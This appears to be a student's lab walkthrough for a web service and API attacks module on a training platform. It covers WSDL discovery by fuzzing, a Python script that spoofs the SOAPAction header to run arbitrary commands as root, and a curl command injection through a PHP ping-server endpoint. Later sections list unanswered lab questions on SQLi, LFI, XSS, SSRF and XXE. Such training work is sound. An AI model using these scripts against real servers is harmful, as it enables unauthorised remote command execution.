WEB SERVICE & API ATTACKS

WEB SERVICES DESCRIPTION LANGUAGE (WSDL)

If you should think of the operation object in WSDL as a programming concept, which of the following is closer in terms of the provided functionality? Answer options (without quotation marks): "Data Structure", "Method", "Class"
Method
 * In WSDL, an operation defines an action that a web service can perform, specifying input and output messages. This is similar to a method (or function) in programming, which takes input parameters, processes them, and returns output.

SOAPACTION SPOOFING

Exploit the SOAPAction spoofing vulnerability and submit the architecture of the web server as your answer. Answer options (without quotation marks): "x86_64", "x86"
#conduct recon...
root@htb:~$ sudo nmap -sV -sC -T4 10.129.202.133 -p-
 PORT     STATE SERVICE VERSION
 3000/tcp open  http    Node.js Express framework
 |_http-title: Site doesn't have a title.
 3001/tcp open  http    PHP cli server 5.5 or later
 |_http-title: Login
 3002/tcp open  http    Node.js Express framework
 |_http-title: Site doesn't have a title.
 3003/tcp open  http    PHP cli server 5.5 or later (PHP 7.4.3)
 |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
 
root@htb:~$ BROWSER > {targetSite:port}
 ...the target may not have a visible webpage, but simply a service that doesn't have visible open access

#step 1: perform directory fuzzing to determine if the wsdl file is exposed
root@oco:~$ dirb http://{targetSite:port}
 -----------------
 DIRB v2.22    
 By The Dark Raver
 -----------------

 START_TIME: Fri Mar 25 11:53:09 2022
 URL_BASE: http://{targetSite:port}/
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

 -----------------

 GENERATED WORDS: 4612                                                          

 ---- Scanning URL: http://{targetSite:port}/ ----
 + http://{targetSite:port}/wsdl (CODE:200|SIZE:0)                            
                                                                               
 -----------------
 END_TIME: Fri Mar 25 11:53:24 2022
 DOWNLOADED: 4612 - FOUND: 1
 
 * ALT: root@oco:~$ find /usr/share/seclists/ -iname directory-list-2* -type f 2>/dev/null
         /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
         /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
         /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
        root@oco:~$ cp /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt .

root@oco:~$ ffuf -w directory-list-2.3-small.txt:FUZZ -u http://10.129.139.27/FUZZ -t 100 -ic
 
#step 2: read the contents
root@oco:~$ curl http://{targetSite:port}/wsdl 
 ...no output. this may mean that a parameter is required to access it
 
#step 3: perform parameter fuzzing 
root@oco:~$ find / -iname burp-parameter* 2>/dev/null
 /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
root@oco:~$ cp /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt .
root@oco:~$ ffuf -w burp-parameter-names.txt -u 'http://{targetSite:port}:3002/wsdl?FUZZ' -fs 0 -mc 200
 ...
 :: Progress: [40/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Error
 :: Progress: [537/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Erro
 wsdl [Status: 200, Size: 4461, Words: 967, Lines: 186]
 :: Progress: [982/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Erro:: 
 Progress: [1153/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Err::
 Progress: [1780/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Err:: 
 Progress: [2461/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Err:: 
 Progress: [2588/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Err:: 
 Progress: [2588/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

 * the -fs 0 filters out empty responses (size = 0)
 * the -mc 200 matches HTTP 200 responses.
 
#step 4: try to read the contents again
root@oco:~$ curl http://{targetSite:port}/wsdl?wsdl 
 ...
 <wsdl:definitions targetNamespace="http://tempuri.org/"
  ...
 <wsdl:types>
  ...
 <!-- Login Messages -->
  <wsdl:message name="LoginSoapIn">
  ...
 <!-- ExecuteCommand Messages -->
  <wsdl:message name="ExecuteCommandSoapIn">
  ...
 <wsdl:portType name="HacktheBoxSoapPort">
  <!-- Login Operaion | PORT -->
  ...
 <!-- ExecuteCommand Operation | PORT -->
  <wsdl:operation name="ExecuteCommand">
  ...
 <wsdl:binding name="HacktheboxServiceSoapBinding" type="tns:HacktheBoxSoapPort">
  <soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
  <!-- SOAP Login Action -->
  <wsdl:operation name="Login">
  ...
  <!-- SOAP ExecuteCommand Action -->
   <wsdl:operation name="ExecuteCommand">
   <soap:operation soapAction="ExecuteCommand" style="document"/>
  <wsdl:service name="HacktheboxService">
   ...
 
 * WSDL files can be found in many forms, such as /example.wsdl, ?wsdl, /example.disco, ?disco etc. DISCO is a Microsoft technology for publishing and discovering Web Services.
    - https://docs.microsoft.com/en-us/archive/msdn-magazine/2002/february/xml-files-publishing-and-discovering-web-services-with-disco-and-uddi
      
WSDL Elements
 * Definition: this is the root element of the WSDL file; it specifies the web service name, declares namespaces, and defines all service elements.
 * Data types: these are the data types used in the exchanged messages.
 * Messages: this defines the web service's input and output operations, specifying exchanged messages as documents or method arguments.
 * Operation: this defines the available SOAP actions alongside the encoding of each message.
 * Port Type: this defines the web service, its operations, and exchanged messages by grouping input and output messages into operations. In WSDL 2.0, the interface defines operations, while types handle message definitions.
 * Binding: this links operations to a port type, specifying message formats and access details for web services. In WSDL 2.0, it also defines interfaces.
    ... this is the area that OCO will manipulate, but this is not the only option
 * Service: this specifies the web service name and location, allowing clients to identify and call it.
 
root@oco:~$ nano soapActionAutomated.py
 import requests

  while True:
   cmd = input("$ ")
   payload = f'<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginRequest xmlns="http://tempuri.org/"><cmd>{cmd}</cmd></LoginRequest></soap:Body></soap:Envelope>'
   print(requests.post("http://{targetSite:port}/wsdl", data=payload, headers={"SOAPAction":'"ExecuteCommand"'}).content)
   
root@oco:~$ python3 soapActionAutomated.py
 $ id
  b'<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"  xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginResponse xmlns="http://tempuri.org/"><success>true</success><result>uid=0(root) gid=0(root) groups=0(root)\n</result></LoginResponse></soap:Body></soap:Envelope>' 
 $ arch
  b'<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"  xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginResponse xmlns="http://tempuri.org/"><success>true</success><result>x86_64\n</result></LoginResponse></soap:Body></soap:Envelope>'
 $ uname -a
  b'<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"  xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginResponse xmlns="http://tempuri.org/"><success>true</success><result>Linux nix01-websvc 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux\n</result></LoginResponse></soap:Body></soap:Envelope>'
 $

COMMAND INJECTION

Exploit the command injection vulnerability of the target to execute an "id" command. Submit the privileges under which the server is running as your answer. Answer options (without quotation marks): "user", "www-data", "root"
#conduct recon...
root@htb:~$ sudo nmap -sV -sC -T4 10.129.202.133 -p-
 PORT     STATE SERVICE VERSION
 3000/tcp open  http    Node.js Express framework
 |_http-title: Site doesn't have a title.
 3001/tcp open  http    PHP cli server 5.5 or later
 |_http-title: Login
 3002/tcp open  http    Node.js Express framework
 |_http-title: Site doesn't have a title.
 3003/tcp open  http    PHP cli server 5.5 or later (PHP 7.4.3)
 |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
 
#identify pages or directories either via web crawling or fuzzing
#web crawling method
#step 1: configure the browser to intercept traffic
root@oco:~$ BROWSER > Settings
 Search: Proxy
 
root@oco:~$ BROWSER > Network Settings > Settings
 Configure Proxy Access to the Internet
  Manual Proxy Configuration: enabled
  HTTP Proxy: 127.0.0.1
  Port: 8080 {default Burp listening port}
  Also Use this Proxy for HTTPS: enabled
  
 * it is advisable to also check the option of "Also use this proxy for FTP and HTTPS" IOT have all requests go through BurpSuite
 
step 2: #disable Burp Intercept
root@oco:~$ burpsuite &
BURP > Proxy > Intercept
 Intercept is on: disabled

 * Burp's intercept is enabled by default
 
step 3: passively crawl the target site
root@oco:~$ BROWSER > {targetSite:port}

 * can also simply refresh the page if already on the target site
 
step 4: identify pertinent pages in burpsuite
BURP > Target > Site Map > ...
#recursive page fuzzing method via gobuster or ffuf
root@oco:~$ cp /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt .

#modify the wordlist and add the reverse shell file name
root@oco:~$ directory-list-2.3-small.txt
 php-reverse-shell
 
 * note: the server might change the filename as it get uploaded as a security measure

root@oco:~$ gobuster dir --url http://{targetIP}/ --wordlist directory-list-2.3-small.txt -x php -r -t 50
 /.php                 (Status: 403) [Size: 277]
 /themes               (Status: 403) [Size: 277]
 /uploads              (Status: 403) [Size: 277]
 /css                  (Status: 403) [Size: 277]
 /index.php            (Status: 200) [Size: 10932]
 /images               (Status: 403) [Size: 277]
 /js                   (Status: 403) [Size: 277]
 /fonts                (Status: 403) [Size: 277]
 
 * the "dir" option refers directory enumeration mode
 * the --url specifies the target IP/URL
 * the --wordlist specifies the wordlist to use
 * the -x appends file extensions to each word in the wordlist
 * can specify multiple extensions by separating them with commas
    - php,html,txt
 * the -r refers to "recursive fuzzing" (if a directory is found, it continues brute-forcing inside it)
 * the -t will use multi threading to make the scan faster (default is 0)
    - this could trigger rate-limiting or bans
#exploitation
root@oco:~$ curl http://<TARGET IP>:3003/ping-server.php/system/ls
 index.php
 ping-server.php
 
 * since the call_user_func_array() allows calling of any function,
   adversaries can issue arbitrary cmds via exec(), system() shell_exec() and 
   the backtick operator
   
root@oco:~$ curl http://10.129.117.228:3003/ping-server.php/system/id
 uid=0(root) gid=0(root) groups=0(root)
To execute commands featuring arguments via http://:3003/ping-server.php/system/{cmd} you may have to use ______. Answer options (without quotation marks): "Encryption", "Hashing", "URL Encoding"
URL Encoding
 * to ensure the command executes properly, URL encoding is used to convert special characters into a format that can be safely transmitted in a URL.

INFORMATION DISCLOSURE (WITH A TWIST OF SQLI)

What is the username of the third user (id=3)?
Identify the username of the user that has a position of 736373 through SQLi. Submit it as your answer.

ARBITRARY FILE UPLOAD

Achieve remote code execution and submit the server's hostname as your answer.

LOCAL FILE INCLUSION (LFI)

Through the LFI vulnerability identify an existing user on the server whose name starts with "ub". Answer format: ub****

CROSS-SITE SCRIPTING

If we URL-encoded our payload twice, would it still work? Answer format: Yes, No

SERVER-SIDE REQUEST FORGERY (SSRF)

Can you leverage the SSRF vulnerability to identify port 3002 listening locally on the web server? Answer format: Yes, No

REGULAR EXPRESSION DENIAL OF SERVICE (ReDoS)

There are more than one payload lengths to exploit/trigger the ReDoS vulnerability. Answer format: Yes, No

XML ENTERNAL ENTITY (XXE) INJECTION

What URI scheme should you specify inside an entity to retrieve the content of an internal file? Answer options (without quotation marks): "http", "https", "data", "file"
PreviousSESSION SECURITYNextHACKING WORDPRESS

Last updated